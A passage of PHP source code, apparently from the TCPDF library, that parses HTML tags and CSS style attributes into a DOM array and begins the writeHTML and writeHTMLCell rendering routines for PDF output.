$dom[($dom[$key]['parent'])]['thead'] = str_replace(' nobr="true"', '', $dom[($dom[$key]['parent'])]['thead']); $dom[($dom[$key]['parent'])]['thead'] .= '</tablehead>'; } } else { // *** opening or self-closing html tag $dom[$key]['opening'] = true; $dom[$key]['parent'] = end($level); if ((substr($element, -1, 1) == '/') OR (in_array($dom[$key]['value'], $selfclosingtags))) { // self-closing tag $dom[$key]['self'] = true; } else { // opening tag array_push($level, $key); $dom[$key]['self'] = false; } // copy some values from parent $parentkey = 0; if ($key > 0) { $parentkey = $dom[$key]['parent']; $dom[$key]['hide'] = $dom[$parentkey]['hide']; $dom[$key]['fontname'] = $dom[$parentkey]['fontname']; $dom[$key]['fontstyle'] = $dom[$parentkey]['fontstyle']; $dom[$key]['fontsize'] = $dom[$parentkey]['fontsize']; $dom[$key]['font-stretch'] = $dom[$parentkey]['font-stretch']; $dom[$key]['letter-spacing'] = $dom[$parentkey]['letter-spacing']; $dom[$key]['stroke'] = $dom[$parentkey]['stroke']; $dom[$key]['fill'] = $dom[$parentkey]['fill']; $dom[$key]['clip'] = $dom[$parentkey]['clip']; $dom[$key]['line-height'] = $dom[$parentkey]['line-height']; $dom[$key]['bgcolor'] = $dom[$parentkey]['bgcolor']; $dom[$key]['fgcolor'] = $dom[$parentkey]['fgcolor']; $dom[$key]['strokecolor'] = $dom[$parentkey]['strokecolor']; $dom[$key]['align'] = $dom[$parentkey]['align']; $dom[$key]['listtype'] = $dom[$parentkey]['listtype']; $dom[$key]['text-indent'] = $dom[$parentkey]['text-indent']; $dom[$key]['border'] = array(); $dom[$key]['dir'] = $dom[$parentkey]['dir']; } // get attributes preg_match_all('/([^=\s]*)[\s]*=[\s]*"([^"]*)"/', $element, $attr_array, PREG_PATTERN_ORDER); $dom[$key]['attribute'] = array(); // reset attribute array while (list($id, $name) = each($attr_array[1])) { $dom[$key]['attribute'][strtolower($name)] = $attr_array[2][$id]; } if (!empty($css)) { // merge CSS style to current style list($dom[$key]['csssel'], $dom[$key]['cssdata']) = $this->getCSSdataArray($dom, $key, $css); $dom[$key]['attribute']['style'] = $this->getTagStyleFromCSSarray($dom[$key]['cssdata']); } // split style attributes if (isset($dom[$key]['attribute']['style']) AND !empty($dom[$key]['attribute']['style'])) { // get style attributes preg_match_all('/([^;:\s]*):([^;]*)/', $dom[$key]['attribute']['style'], $style_array, PREG_PATTERN_ORDER); $dom[$key]['style'] = array(); // reset style attribute array while (list($id, $name) = each($style_array[1])) { // in case of duplicate attribute the last replace the previous $dom[$key]['style'][strtolower($name)] = trim($style_array[2][$id]); } // --- get some style attributes --- // text direction if (isset($dom[$key]['style']['direction'])) { $dom[$key]['dir'] = $dom[$key]['style']['direction']; } // display if (isset($dom[$key]['style']['display'])) { $dom[$key]['hide'] = (trim(strtolower($dom[$key]['style']['display'])) == 'none'); } // font family if (isset($dom[$key]['style']['font-family'])) { $dom[$key]['fontname'] = $this->getFontFamilyName($dom[$key]['style']['font-family']); } // list-style-type if (isset($dom[$key]['style']['list-style-type'])) { $dom[$key]['listtype'] = trim(strtolower($dom[$key]['style']['list-style-type'])); if ($dom[$key]['listtype'] == 'inherit') { $dom[$key]['listtype'] = $dom[$parentkey]['listtype']; } } // text-indent if (isset($dom[$key]['style']['text-indent'])) { $dom[$key]['text-indent'] = $this->getHTMLUnitToUnits($dom[$key]['style']['text-indent']); if ($dom[$key]['text-indent'] == 'inherit') { $dom[$key]['text-indent'] = $dom[$parentkey]['text-indent']; } } // font size if (isset($dom[$key]['style']['font-size'])) { $fsize = trim($dom[$key]['style']['font-size']); switch ($fsize) { // absolute-size case 'xx-small': { $dom[$key]['fontsize'] = $dom[0]['fontsize'] - 4; break; } case 'x-small': { $dom[$key]['fontsize'] = $dom[0]['fontsize'] - 3; break; } case 'small': { $dom[$key]['fontsize'] = $dom[0]['fontsize'] - 2; break; } case 'medium': { $dom[$key]['fontsize'] = $dom[0]['fontsize']; break; } case 'large': { $dom[$key]['fontsize'] = $dom[0]['fontsize'] + 2; break; } case 'x-large': { $dom[$key]['fontsize'] = $dom[0]['fontsize'] + 4; break; } case 'xx-large': { $dom[$key]['fontsize'] = $dom[0]['fontsize'] + 6; break; } // relative-size case 'smaller': { $dom[$key]['fontsize'] = $dom[$parentkey]['fontsize'] - 3; break; } case 'larger': { $dom[$key]['fontsize'] = $dom[$parentkey]['fontsize'] + 3; break; } default: { $dom[$key]['fontsize'] = $this->getHTMLUnitToUnits($fsize, $dom[$parentkey]['fontsize'], 'pt', true); } } } // font-stretch if (isset($dom[$key]['style']['font-stretch'])) { $dom[$key]['font-stretch'] = $this->getCSSFontStretching($dom[$key]['style']['font-stretch'], $dom[$parentkey]['font-stretch']); } // letter-spacing if (isset($dom[$key]['style']['letter-spacing'])) { $dom[$key]['letter-spacing'] = $this->getCSSFontSpacing($dom[$key]['style']['letter-spacing'], $dom[$parentkey]['letter-spacing']); } // line-height if (isset($dom[$key]['style']['line-height'])) { $lineheight = trim($dom[$key]['style']['line-height']); switch ($lineheight) { // A normal line height. This is default case 'normal': { $dom[$key]['line-height'] = $dom[0]['line-height']; break; } default: { if (is_numeric($lineheight)) { $lineheight = $lineheight * 100; } $dom[$key]['line-height'] = $this->getHTMLUnitToUnits($lineheight, 1, '%', true); } } } // font style if (isset($dom[$key]['style']['font-weight'])) { if (strtolower($dom[$key]['style']['font-weight']{0}) == 'n') { if (strpos($dom[$key]['fontstyle'], 'B') !== false) { $dom[$key]['fontstyle'] = str_replace('B', '', $dom[$key]['fontstyle']); } } elseif (strtolower($dom[$key]['style']['font-weight']{0}) == 'b') { $dom[$key]['fontstyle'] .= 'B'; } } if (isset($dom[$key]['style']['font-style']) AND (strtolower($dom[$key]['style']['font-style']{0}) == 'i')) { $dom[$key]['fontstyle'] .= 'I'; } // font color if (isset($dom[$key]['style']['color']) AND (!$this->empty_string($dom[$key]['style']['color']))) { $dom[$key]['fgcolor'] = $this->convertHTMLColorToDec($dom[$key]['style']['color']); } elseif ($dom[$key]['value'] == 'a') { $dom[$key]['fgcolor'] = $this->htmlLinkColorArray; } // background color if (isset($dom[$key]['style']['background-color']) AND (!$this->empty_string($dom[$key]['style']['background-color']))) { $dom[$key]['bgcolor'] = $this->convertHTMLColorToDec($dom[$key]['style']['background-color']); } // text-decoration if (isset($dom[$key]['style']['text-decoration'])) { $decors = explode(' ', strtolower($dom[$key]['style']['text-decoration'])); foreach ($decors as $dec) { $dec = trim($dec); if (!$this->empty_string($dec)) { if ($dec{0} == 'u') { // underline $dom[$key]['fontstyle'] .= 'U'; } elseif ($dec{0} == 'l') { // line-trough $dom[$key]['fontstyle'] .= 'D'; } elseif ($dec{0} == 'o') { // overline $dom[$key]['fontstyle'] .= 'O'; } } } } elseif ($dom[$key]['value'] == 'a') { $dom[$key]['fontstyle'] = $this->htmlLinkFontStyle; } // check for width attribute if (isset($dom[$key]['style']['width'])) { $dom[$key]['width'] = $dom[$key]['style']['width']; } // check for height attribute if (isset($dom[$key]['style']['height'])) { $dom[$key]['height'] = $dom[$key]['style']['height']; } // check for text alignment if (isset($dom[$key]['style']['text-align'])) { $dom[$key]['align'] = strtoupper($dom[$key]['style']['text-align']{0}); } // check for CSS border properties if (isset($dom[$key]['style']['border'])) { $borderstyle = $this->getCSSBorderStyle($dom[$key]['style']['border']); if (!empty($borderstyle)) { $dom[$key]['border']['LTRB'] = $borderstyle; } } if (isset($dom[$key]['style']['border-color'])) { $brd_colors = preg_split('/[\s]+/', trim($dom[$key]['style']['border-color'])); if (isset($brd_colors[3])) { $dom[$key]['border']['L']['color'] = $this->convertHTMLColorToDec($brd_colors[3]); } if (isset($brd_colors[1])) { $dom[$key]['border']['R']['color'] = $this->convertHTMLColorToDec($brd_colors[1]); } if (isset($brd_colors[0])) { $dom[$key]['border']['T']['color'] = $this->convertHTMLColorToDec($brd_colors[0]); } if (isset($brd_colors[2])) { $dom[$key]['border']['B']['color'] = $this->convertHTMLColorToDec($brd_colors[2]); } } if (isset($dom[$key]['style']['border-width'])) { $brd_widths = preg_split('/[\s]+/', trim($dom[$key]['style']['border-width'])); if (isset($brd_widths[3])) { $dom[$key]['border']['L']['width'] = $this->getCSSBorderWidth($brd_widths[3]); } if (isset($brd_widths[1])) { $dom[$key]['border']['R']['width'] = $this->getCSSBorderWidth($brd_widths[1]); } if (isset($brd_widths[0])) { $dom[$key]['border']['T']['width'] = $this->getCSSBorderWidth($brd_widths[0]); } if (isset($brd_widths[2])) { $dom[$key]['border']['B']['width'] = $this->getCSSBorderWidth($brd_widths[2]); } } if (isset($dom[$key]['style']['border-style'])) { $brd_styles = preg_split('/[\s]+/', trim($dom[$key]['style']['border-style'])); if (isset($brd_styles[3]) AND ($brd_styles[3]!='none')) { $dom[$key]['border']['L']['cap'] = 'square'; $dom[$key]['border']['L']['join'] = 'miter'; $dom[$key]['border']['L']['dash'] = $this->getCSSBorderDashStyle($brd_styles[3]); if ($dom[$key]['border']['L']['dash'] < 0) { $dom[$key]['border']['L'] = array(); } } if (isset($brd_styles[1])) { $dom[$key]['border']['R']['cap'] = 'square'; $dom[$key]['border']['R']['join'] = 'miter'; $dom[$key]['border']['R']['dash'] = $this->getCSSBorderDashStyle($brd_styles[1]); if ($dom[$key]['border']['R']['dash'] < 0) { $dom[$key]['border']['R'] = array(); } } if (isset($brd_styles[0])) { $dom[$key]['border']['T']['cap'] = 'square'; $dom[$key]['border']['T']['join'] = 'miter'; $dom[$key]['border']['T']['dash'] = $this->getCSSBorderDashStyle($brd_styles[0]); if ($dom[$key]['border']['T']['dash'] < 0) { $dom[$key]['border']['T'] = array(); } } if (isset($brd_styles[2])) { $dom[$key]['border']['B']['cap'] = 'square'; $dom[$key]['border']['B']['join'] = 'miter'; $dom[$key]['border']['B']['dash'] = $this->getCSSBorderDashStyle($brd_styles[2]); if ($dom[$key]['border']['B']['dash'] < 0) { $dom[$key]['border']['B'] = array(); } } } $cellside = array('L' => 'left', 'R' => 'right', 'T' => 'top', 'B' => 'bottom'); foreach ($cellside as $bsk => $bsv) { if (isset($dom[$key]['style']['border-'.$bsv])) { $borderstyle = $this->getCSSBorderStyle($dom[$key]['style']['border-'.$bsv]); if (!empty($borderstyle)) { $dom[$key]['border'][$bsk] = $borderstyle; } } if (isset($dom[$key]['style']['border-'.$bsv.'-color'])) { $dom[$key]['border'][$bsk]['color'] = $this->convertHTMLColorToDec($dom[$key]['style']['border-'.$bsv.'-color']); } if (isset($dom[$key]['style']['border-'.$bsv.'-width'])) { $dom[$key]['border'][$bsk]['width'] = $this->getCSSBorderWidth($dom[$key]['style']['border-'.$bsv.'-width']); } if (isset($dom[$key]['style']['border-'.$bsv.'-style'])) { $dom[$key]['border'][$bsk]['dash'] = $this->getCSSBorderDashStyle($dom[$key]['style']['border-'.$bsv.'-style']); if ($dom[$key]['border'][$bsk]['dash'] < 0) { $dom[$key]['border'][$bsk] = array(); } } } // check for CSS padding properties if (isset($dom[$key]['style']['padding'])) { $dom[$key]['padding'] = $this->getCSSPadding($dom[$key]['style']['padding']); } else { $dom[$key]['padding'] = $this->cell_padding; } foreach ($cellside as $psk => $psv) { if (isset($dom[$key]['style']['padding-'.$psv])) { $dom[$key]['padding'][$psk] = $this->getHTMLUnitToUnits($dom[$key]['style']['padding-'.$psv], 0, 'px', false); } } // check for CSS margin properties if (isset($dom[$key]['style']['margin'])) { $dom[$key]['margin'] = $this->getCSSMargin($dom[$key]['style']['margin']); } else { $dom[$key]['margin'] = $this->cell_margin; } foreach ($cellside as $psk => $psv) { if (isset($dom[$key]['style']['margin-'.$psv])) { $dom[$key]['margin'][$psk] = $this->getHTMLUnitToUnits(str_replace('auto', '0', $dom[$key]['style']['margin-'.$psv]), 0, 'px', false); } } // check for CSS border-spacing properties if (isset($dom[$key]['style']['border-spacing'])) { $dom[$key]['border-spacing'] = $this->getCSSBorderMargin($dom[$key]['style']['border-spacing']); } // page-break-inside if (isset($dom[$key]['style']['page-break-inside']) AND ($dom[$key]['style']['page-break-inside'] == 'avoid')) { $dom[$key]['attribute']['nobr'] = 'true'; } // page-break-before if (isset($dom[$key]['style']['page-break-before'])) { if ($dom[$key]['style']['page-break-before'] == 'always') { $dom[$key]['attribute']['pagebreak'] = 'true'; } elseif ($dom[$key]['style']['page-break-before'] == 'left') { $dom[$key]['attribute']['pagebreak'] = 'left'; } elseif ($dom[$key]['style']['page-break-before'] == 'right') { $dom[$key]['attribute']['pagebreak'] = 'right'; } } // page-break-after if (isset($dom[$key]['style']['page-break-after'])) { if ($dom[$key]['style']['page-break-after'] == 'always') { $dom[$key]['attribute']['pagebreakafter'] = 'true'; } elseif ($dom[$key]['style']['page-break-after'] == 'left') { $dom[$key]['attribute']['pagebreakafter'] = 'left'; } elseif ($dom[$key]['style']['page-break-after'] == 'right') { $dom[$key]['attribute']['pagebreakafter'] = 'right'; } } } if (isset($dom[$key]['attribute']['display'])) { $dom[$key]['hide'] = (trim(strtolower($dom[$key]['attribute']['display'])) == 'none'); } if (isset($dom[$key]['attribute']['border']) AND ($dom[$key]['attribute']['border'] != 0)) { $borderstyle = $this->getCSSBorderStyle($dom[$key]['attribute']['border'].' solid black'); if (!empty($borderstyle)) { $dom[$key]['border']['LTRB'] = $borderstyle; } } // check for font tag if ($dom[$key]['value'] == 'font') { // font family if (isset($dom[$key]['attribute']['face'])) { $dom[$key]['fontname'] = $this->getFontFamilyName($dom[$key]['attribute']['face']); } // font size if (isset($dom[$key]['attribute']['size'])) { if ($key > 0) { if ($dom[$key]['attribute']['size']{0} == '+') { $dom[$key]['fontsize'] = $dom[($dom[$key]['parent'])]['fontsize'] + intval(substr($dom[$key]['attribute']['size'], 1)); } elseif ($dom[$key]['attribute']['size']{0} == '-') { $dom[$key]['fontsize'] = $dom[($dom[$key]['parent'])]['fontsize'] - intval(substr($dom[$key]['attribute']['size'], 1)); } else { $dom[$key]['fontsize'] = intval($dom[$key]['attribute']['size']); } } else { $dom[$key]['fontsize'] = intval($dom[$key]['attribute']['size']); } } } // force natural alignment for lists if ((($dom[$key]['value'] == 'ul') OR ($dom[$key]['value'] == 'ol') OR ($dom[$key]['value'] == 'dl')) AND (!isset($dom[$key]['align']) OR $this->empty_string($dom[$key]['align']) OR ($dom[$key]['align'] != 'J'))) { if ($this->rtl) { $dom[$key]['align'] = 'R'; } else { $dom[$key]['align'] = 'L'; } } if (($dom[$key]['value'] == 'small') OR ($dom[$key]['value'] == 'sup') OR ($dom[$key]['value'] == 'sub')) { if (!isset($dom[$key]['attribute']['size']) AND !isset($dom[$key]['style']['font-size'])) { $dom[$key]['fontsize'] = $dom[$key]['fontsize'] * K_SMALL_RATIO; } } if (($dom[$key]['value'] == 'strong') OR ($dom[$key]['value'] == 'b')) { $dom[$key]['fontstyle'] .= 'B'; } if (($dom[$key]['value'] == 'em') OR ($dom[$key]['value'] == 'i')) { $dom[$key]['fontstyle'] .= 'I'; } if ($dom[$key]['value'] == 'u') { $dom[$key]['fontstyle'] .= 'U'; } if (($dom[$key]['value'] == 'del') OR ($dom[$key]['value'] == 's') OR ($dom[$key]['value'] == 'strike')) { $dom[$key]['fontstyle'] .= 'D'; } if (!isset($dom[$key]['style']['text-decoration']) AND ($dom[$key]['value'] == 'a')) { $dom[$key]['fontstyle'] = $this->htmlLinkFontStyle; } if (($dom[$key]['value'] == 'pre') OR ($dom[$key]['value'] == 'tt')) { $dom[$key]['fontname'] = $this->default_monospaced_font; } if (($dom[$key]['value']{0} == 'h') AND (intval($dom[$key]['value']{1}) > 0) AND (intval($dom[$key]['value']{1}) < 7)) { // headings h1, h2, h3, h4, h5, h6 if (!isset($dom[$key]['attribute']['size']) AND !isset($dom[$key]['style']['font-size'])) { $headsize = (4 - intval($dom[$key]['value']{1})) * 2; $dom[$key]['fontsize'] = $dom[0]['fontsize'] + $headsize; } if (!isset($dom[$key]['style']['font-weight'])) { $dom[$key]['fontstyle'] .= 'B'; } } if (($dom[$key]['value'] == 'table')) { $dom[$key]['rows'] = 0; // number of rows $dom[$key]['trids'] = array(); // IDs of TR elements $dom[$key]['thead'] = ''; // table header rows } if (($dom[$key]['value'] == 'tr')) { $dom[$key]['cols'] = 0; if ($thead) { $dom[$key]['thead'] = true; // rows on thead block are printed as a separate table } else { $dom[$key]['thead'] = false; // store the number of rows on table element ++$dom[($dom[$key]['parent'])]['rows']; // store the TR elements IDs on table element array_push($dom[($dom[$key]['parent'])]['trids'], $key); } } if (($dom[$key]['value'] == 'th') OR ($dom[$key]['value'] == 'td')) { if (isset($dom[$key]['attribute']['colspan'])) { $colspan = intval($dom[$key]['attribute']['colspan']); } else { $colspan = 1; } $dom[$key]['attribute']['colspan'] = $colspan; $dom[($dom[$key]['parent'])]['cols'] += $colspan; } // text direction if (isset($dom[$key]['attribute']['dir'])) { $dom[$key]['dir'] = $dom[$key]['attribute']['dir']; } // set foreground color attribute if (isset($dom[$key]['attribute']['color']) AND (!$this->empty_string($dom[$key]['attribute']['color']))) { $dom[$key]['fgcolor'] = $this->convertHTMLColorToDec($dom[$key]['attribute']['color']); } elseif (!isset($dom[$key]['style']['color']) AND ($dom[$key]['value'] == 'a')) { $dom[$key]['fgcolor'] = $this->htmlLinkColorArray; } // set background color attribute if (isset($dom[$key]['attribute']['bgcolor']) AND (!$this->empty_string($dom[$key]['attribute']['bgcolor']))) { $dom[$key]['bgcolor'] = $this->convertHTMLColorToDec($dom[$key]['attribute']['bgcolor']); } // set stroke color attribute if (isset($dom[$key]['attribute']['strokecolor']) AND (!$this->empty_string($dom[$key]['attribute']['strokecolor']))) { $dom[$key]['strokecolor'] = $this->convertHTMLColorToDec($dom[$key]['attribute']['strokecolor']); } // check for width attribute if (isset($dom[$key]['attribute']['width'])) { $dom[$key]['width'] = $dom[$key]['attribute']['width']; } // check for height attribute if (isset($dom[$key]['attribute']['height'])) { $dom[$key]['height'] = $dom[$key]['attribute']['height']; } // check for text alignment if (isset($dom[$key]['attribute']['align']) AND (!$this->empty_string($dom[$key]['attribute']['align'])) AND ($dom[$key]['value'] !== 'img')) { $dom[$key]['align'] = strtoupper($dom[$key]['attribute']['align']{0}); } // check for text rendering mode (the following attributes do not exist in HTML) if (isset($dom[$key]['attribute']['stroke'])) { // font stroke width $dom[$key]['stroke'] = $this->getHTMLUnitToUnits($dom[$key]['attribute']['stroke'], $dom[$key]['fontsize'], 'pt', true); } if (isset($dom[$key]['attribute']['fill'])) { // font fill if ($dom[$key]['attribute']['fill'] == 'true') { $dom[$key]['fill'] = true; } else { $dom[$key]['fill'] = false; } } if (isset($dom[$key]['attribute']['clip'])) { // clipping mode if ($dom[$key]['attribute']['clip'] == 'true') { $dom[$key]['clip'] = true; } else { $dom[$key]['clip'] = false; } } } // end opening tag } else { // text $dom[$key]['tag'] = false; $dom[$key]['block'] = false; //$element = str_replace(' ', $this->unichr(160), $element); $dom[$key]['value'] = stripslashes($this->unhtmlentities($element)); $dom[$key]['parent'] = end($level); $dom[$key]['dir'] = $dom[$dom[$key]['parent']]['dir']; } ++$elkey; ++$key; } return $dom; } /** * Returns the string used to find spaces * @return string * @protected * @author Nicola Asuni * @since 4.8.024 (2010-01-15) */ protected function getSpaceString() { $spacestr = chr(32); if ($this->isUnicodeFont()) { $spacestr = chr(0).chr(32); } return $spacestr; } /** * Prints a cell (rectangular area) with optional borders, background color and html text string. * The upper-left corner of the cell corresponds to the current position. After the call, the current position moves to the right or to the next line.<br /> * If automatic page breaking is enabled and the cell goes beyond the limit, a page break is done before outputting. * @param $w (float) Cell width. If 0, the cell extends up to the right margin. * @param $h (float) Cell minimum height. The cell extends automatically if needed. * @param $x (float) upper-left corner X coordinate * @param $y (float) upper-left corner Y coordinate * @param $html (string) html text to print. Default value: empty string. * @param $border (mixed) Indicates if borders must be drawn around the cell. The value can be a number:<ul><li>0: no border (default)</li><li>1: frame</li></ul> or a string containing some or all of the following characters (in any order):<ul><li>L: left</li><li>T: top</li><li>R: right</li><li>B: bottom</li></ul> or an array of line styles for each border group - for example: array('LTRB' => array('width' => 2, 'cap' => 'butt', 'join' => 'miter', 'dash' => 0, 'color' => array(0, 0, 0))) * @param $ln (int) Indicates where the current position should go after the call. Possible values are:<ul><li>0: to the right (or left for RTL language)</li><li>1: to the beginning of the next line</li><li>2: below</li></ul> Putting 1 is equivalent to putting 0 and calling Ln() just after. Default value: 0. * @param $fill (boolean) Indicates if the cell background must be painted (true) or transparent (false). * @param $reseth (boolean) if true reset the last cell height (default true). * @param $align (string) Allows to center or align the text. Possible values are:<ul><li>L : left align</li><li>C : center</li><li>R : right align</li><li>'' : empty string : left for LTR or right for RTL</li></ul> * @param $autopadding (boolean) if true, uses internal padding and automatically adjust it to account for line width. * @see Multicell(), writeHTML() * @public */ public function writeHTMLCell($w, $h, $x, $y, $html='', $border=0, $ln=0, $fill=false, $reseth=true, $align='', $autopadding=true) { return $this->MultiCell($w, $h, $html, $border, $align, $fill, $ln, $x, $y, $reseth, 0, true, $autopadding, 0, 'T', false); } /** * Allows to preserve some HTML formatting (limited support).<br /> * IMPORTANT: The HTML must be well formatted - try to clean-up it using an application like HTML-Tidy before submitting. * Supported tags are: a, b, blockquote, br, dd, del, div, dl, dt, em, font, h1, h2, h3, h4, h5, h6, hr, i, img, li, ol, p, pre, small, span, strong, sub, sup, table, tcpdf, td, th, thead, tr, tt, u, ul * @param $html (string) text to display * @param $ln (boolean) if true add a new line after text (default = true) * @param $fill (boolean) Indicates if the background must be painted (true) or transparent (false). * @param $reseth (boolean) if true reset the last cell height (default false). * @param $cell (boolean) if true add the current left (or right for RTL) padding to each Write (default false). * @param $align (string) Allows to center or align the text. Possible values are:<ul><li>L : left align</li><li>C : center</li><li>R : right align</li><li>'' : empty string : left for LTR or right for RTL</li></ul> * @public */ public function writeHTML($html, $ln=true, $fill=false, $reseth=false, $cell=false, $align='') { $gvars = $this->getGraphicVars(); // store current values $prev_cell_margin = $this->cell_margin; $prev_cell_padding = $this->cell_padding; $prevPage = $this->page; $prevlMargin = $this->lMargin; $prevrMargin = $this->rMargin; $curfontname = $this->FontFamily; $curfontstyle = $this->FontStyle; $curfontsize = $this->FontSizePt; $curfontascent = $this->getFontAscent($curfontname, $curfontstyle, $curfontsize); $curfontdescent = $this->getFontDescent($curfontname, $curfontstyle, $curfontsize); $curfontstretcing = $this->font_stretching; $curfonttracking = $this->font_spacing; $this->newline = true; $newline = true; $startlinepage = $this->page; $minstartliney = $this->y; $maxbottomliney = 0; $startlinex = $this->x; $startliney = $this->y; $yshift = 0; $loop = 0; $curpos = 0; $this_method_vars = array(); $undo = false; $fontaligned = false; $reverse_dir = false; // true when the text direction is reversed $this->premode = false; if ($this->inxobj) { // we are inside an XObject template $pask = count($this->xobjects[$this->xobjid]['annotations']); } elseif (isset($this->PageAnnots[$this->page])) { $pask = count($this->PageAnnots[$this->page]); } else { $pask = 0; } if ($this->inxobj) { // we are inside an XObject template $startlinepos = strlen($this->xobjects[$this->xobjid]['outdata']); } elseif (!$this->InFooter) { if (isset($this->footerlen[$this->page])) { $this->footerpos[$this->page] = $this->pagelen[$this->page] - $this->footerlen[$this->page]; } else { $this->footerpos[$this->page] = $this->pagelen[$this->page]; } $startlinepos = $this->footerpos[$this->page]; } else { // we are inside the footer $startlinepos = $this->pagelen[$this->page]; } $lalign = $align; $plalign = $align; if ($this->rtl) { $w = $this->x - $this->lMargin; } else { $w = $this->w - $this->rMargin - $this->x; } $w -= ($this->cell_padding['L'] + $this->cell_padding['R']); if ($cell) { if ($this->rtl) { $this->x -= $this->cell_padding['R']; $this->lMargin += $this->cell_padding['R']; } else { $this->x += $this->cell_padding['L']; $this->rMargin += $this->cell_padding['L']; } } if ($this->customlistindent >= 0) { $this->listindent = $this->customlistindent; } else { $this->listindent = $this->GetStringWidth('000000'); } $this->listindentlevel = 0; // save previous states $prev_cell_height_ratio = $this->cell_height_ratio; $prev_listnum = $this->listnum; $prev_listordered = $this->listordered; $prev_listcount = $this->listcount; $prev_lispacer = $this->lispacer; $this->listnum = 0; $this->listordered = array(); $this->listcount = array(); $this->lispacer = ''; if (($this->empty_string($this->lasth)) OR ($reseth)) { // reset row height $this->resetLastH(); } $dom = $this->getHtmlDomArray($html); $maxel = count($dom); $key = 0; $hidden_node_key = -1; while ($key < $maxel) { if ($dom[$key]['tag']) { if ($dom[$key]['opening']) { if (($hidden_node_key <= 0) AND $dom[$key]['hide']) { // store the node key $hidden_node_key = $key; } } elseif (($hidden_node_key > 0) AND ($dom[$key]['parent'] == $hidden_node_key)) { // we have reached the closing tag of the hidden node $hidden_node_key = 0; } } if ($hidden_node_key >= 0) { // skip this node ++$key; if ($hidden_node_key == 0) { // reset hidden mode $hidden_node_key = -1; } continue; } if ($dom[$key]['tag'] AND isset($dom[$key]['attribute']['pagebreak'])) { // check for pagebreak if (($dom[$key]['attribute']['pagebreak'] == 'true') OR ($dom[$key]['attribute']['pagebreak'] == 'left') OR ($dom[$key]['attribute']['pagebreak'] == 'right')) { // add a page (or trig AcceptPageBreak() for multicolumn mode) $this->checkPageBreak($this->PageBreakTrigger + 1); $this->htmlvspace = ($this->PageBreakTrigger + 1); } if ((($dom[$key]['attribute']['pagebreak'] == 'left') AND (((!$this->rtl) AND (($this->page % 2) == 0)) OR (($this->rtl) AND (($this->page % 2) != 0)))) OR (($dom[$key]['attribute']['pagebreak'] == 'right') AND (((!$this->rtl) AND (($this->page % 2) != 0)) OR (($this->rtl) AND (($this->page % 2) == 0))))) { // add a page (or trig AcceptPageBreak() for multicolumn mode) $this->checkPageBreak($this->PageBreakTrigger + 1); $this->htmlvspace = ($this->PageBreakTrigger + 1); } } if ($dom[$key]['tag'] AND $dom[$key]['opening'] AND isset($dom[$key]['attribute']['nobr']) AND ($dom[$key]['attribute']['nobr'] == 'true')) { if (isset($dom[($dom[$key]['parent'])]['attribute']['nobr']) AND ($dom[($dom[$key]['parent'])]['attribute']['nobr'] == 'true')) { $dom[$key]['attribute']['nobr'] = false; } else { // store current object $this->startTransaction(); // save this method vars $this_method_vars['html'] = $html; $this_method_vars['ln'] = $ln; $this_method_vars['fill'] = $fill; $this_method_vars['reseth'] = $reseth; $this_method_vars['cell'] = $cell; $this_method_vars['align'] = $align; $this_method_vars['gvars'] = $gvars; $this_method_vars['prevPage'] = $prevPage; $this_method_vars['prev_cell_margin'] = $prev_cell_margin; $this_method_vars['prev_cell_padding'] = $prev_cell_padding; $this_method_vars['prevlMargin'] = $prevlMargin; $this_method_vars['prevrMargin'] = $prevrMargin; $this_method_vars['curfontname'] = $curfontname; $this_method_vars['curfontstyle'] = $curfontstyle; $this_method_vars['curfontsize'] = $curfontsize; $this_method_vars['curfontascent'] = $curfontascent; $this_method_vars['curfontdescent'] = $curfontdescent; $this_method_vars['curfontstretcing'] = $curfontstretcing; $this_method_vars['curfonttracking'] = $curfonttracking; $this_method_vars['minstartliney'] = $minstartliney; $this_method_vars['maxbottomliney'] = $maxbottomliney; $this_method_vars['yshift'] = $yshift; $this_method_vars['startlinepage'] = $startlinepage; $this_method_vars['startlinepos'] = $startlinepos; $this_method_vars['startlinex'] = $startlinex; $this_method_vars['startliney'] = $startliney; $this_method_vars['newline'] = $newline; $this_method_vars['loop'] = $loop; $this_method_vars['curpos'] = $curpos; $this_method_vars['pask'] = $pask; $this_method_vars['lalign'] = $lalign; $this_method_vars['plalign'] = $plalign; $this_method_vars['w'] = $w; $this_method_vars['prev_cell_height_ratio'] = $prev_cell_height_ratio; $this_method_vars['prev_listnum'] = $prev_listnum; $this_method_vars['prev_listordered'] = $prev_listordered; $this_method_vars['prev_listcount'] = $prev_listcount; $this_method_vars['prev_lispacer'] = $prev_lispacer; $this_method_vars['fontaligned'] = $fontaligned; $this_method_vars['key'] = $key; $this_method_vars['dom'] = $dom; } } // print THEAD block if (($dom[$key]['value'] == 'tr') AND isset($dom[$key]['thead']) AND $dom[$key]['thead']) { if (isset($dom[$key]['parent']) AND isset($dom[$dom[$key]['parent']]['thead']) AND !$this->empty_string($dom[$dom[$key]['parent']]['thead'])) { $this->inthead = true; // print table header (thead) $this->writeHTML($this->thead, false, false, false, false, ''); // check if we are on a new page or on a new column if (($this->y < $this->start_transaction_y) OR ($this->checkPageBreak($this->lasth, '', false))) { // we are on a new page or on a new column and the total object height is less than the available vertical space. // restore previous object $this->rollbackTransaction(true); // restore previous values foreach ($this_method_vars as $vkey => $vval) { $$vkey = $vval; } // disable table header $tmp_thead = $this->thead; $this->thead = ''; // add a page (or trig AcceptPageBreak() for multicolumn mode) $pre_y = $this->y; if ((!$this->checkPageBreak($this->PageBreakTrigger + 1)) AND ($this->y < $pre_y)) { // fix for multicolumn mode $startliney = $this->y; } $this->start_transaction_page = $this->page; $this->start_transaction_y = $this->y; // restore table header $this->thead = $tmp_thead; // fix table border properties if (isset($dom[$dom[$key]['parent']]['attribute']['cellspacing'])) { $tmp_cellspacing = $this->getHTMLUnitToUnits($dom[$dom[$key]['parent']]['attribute']['cellspacing'], 1, 'px'); } elseif (isset($dom[$dom[$key]['parent']]['border-spacing'])) { $tmp_cellspacing = $dom[$dom[$key]['parent']]['border-spacing']['V']; } else { $tmp_cellspacing = 0; } $dom[$dom[$key]['parent']]['borderposition']['page'] = $this->page; $dom[$dom[$key]['parent']]['borderposition']['column'] = $this->current_column; $dom[$dom[$key]['parent']]['borderposition']['y'] = $this->y + $tmp_cellspacing; $xoffset = ($this->x - $dom[$dom[$key]['parent']]['borderposition']['x']); $dom[$dom[$key]['parent']]['borderposition']['x'] += $xoffset; $dom[$dom[$key]['parent']]['borderposition']['xmax'] += $xoffset; // print table header (thead) $this->writeHTML($this->thead, false, false, false, false, ''); } } // move $key index forward to skip THEAD block while ( ($key < $maxel) AND (!( ($dom[$key]['tag'] AND 